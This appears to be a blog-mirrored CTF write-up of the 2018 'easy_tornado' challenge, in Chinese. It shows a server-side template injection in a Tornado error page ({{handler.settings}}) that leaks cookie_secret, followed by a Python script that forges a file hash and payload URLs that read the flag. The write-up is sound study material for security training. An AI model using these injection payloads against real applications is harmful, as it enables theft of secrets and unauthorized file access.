zoukankan      html  css  js  c++  java
  • 护网杯 2018 easy_tornado

    0x00

    题目类型:SSTI注入。

    0x01

    索引界面下三个文件,flag.txt提示flag在/fllllllllllllag,hint.txt提示hash生成方式为md5(cookie_secret+md5(filename))。

    注意到访问文件时为filename+filehash的形式,我们知道了flag的文件名,故只需要构造出flag的hash值,就可以拿到flag了。

    http://41855a0a-ea58-4611-a5e2-03840a4b9da6.node3.buuoj.cn/file?filename=/hints.txt&filehash=11bc60156d94c420cbd493f8e2188214

    题目名提示为tornado框架,打算构造一个错误的数据看看,能不能看到版本之类的有用信息。随便乱填了一个filehash后,跳转到了一个报错界面。

    http://41855a0a-ea58-4611-a5e2-03840a4b9da6.node3.buuoj.cn/error?msg=Error

    msg参数中的数据直接回显在了界面上,猜测存在SSTI注入,传入msg={{1}}试试,果然有回显。构造msg={{handler.settings}},发现cookie_secret。

    0x02

    本地跑出hash值,而后带着hash值访问flag文件。

    payload:http://41855a0a-ea58-4611-a5e2-03840a4b9da6.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=18228a78a6afbdd48e1e4982d521ebad

    import hashlib
    
    def md5(s):
     md5 = hashlib.md5() 
     s = s.encode('utf-8')
     md5.update(s) 
     return md5.hexdigest()
     
    def filehash():
     filename = '/fllllllllllllag'
     cookie_secret = '9b6d419c-e603-4470-b2ad-5b7a9674ec9c'
     print(md5(cookie_secret+md5(filename)))
     
    if __name__ == '__main__':
     filehash()

    这里我犯了一次傻,用php写了一个脚本跑hash值,提交上去直接报错了,后来想起tornado是python框架。。。。。。

  • 相关阅读:
    jdbc在项目中的应用
    第五次作业-springmvc对表单的获取
    jquery的文档处理(部分)
    测试报告怎么写合理
    WebService的简单应用
    hdu--5078--orz
    hdu--5074--dp
    hdu--5108--数论
    hdu--5072--容斥原理
    hdu--3853--概率dp
  • 原文地址:https://www.cnblogs.com/BlueDoor1999/p/13301374.html
Copyright © 2011-2022 走看看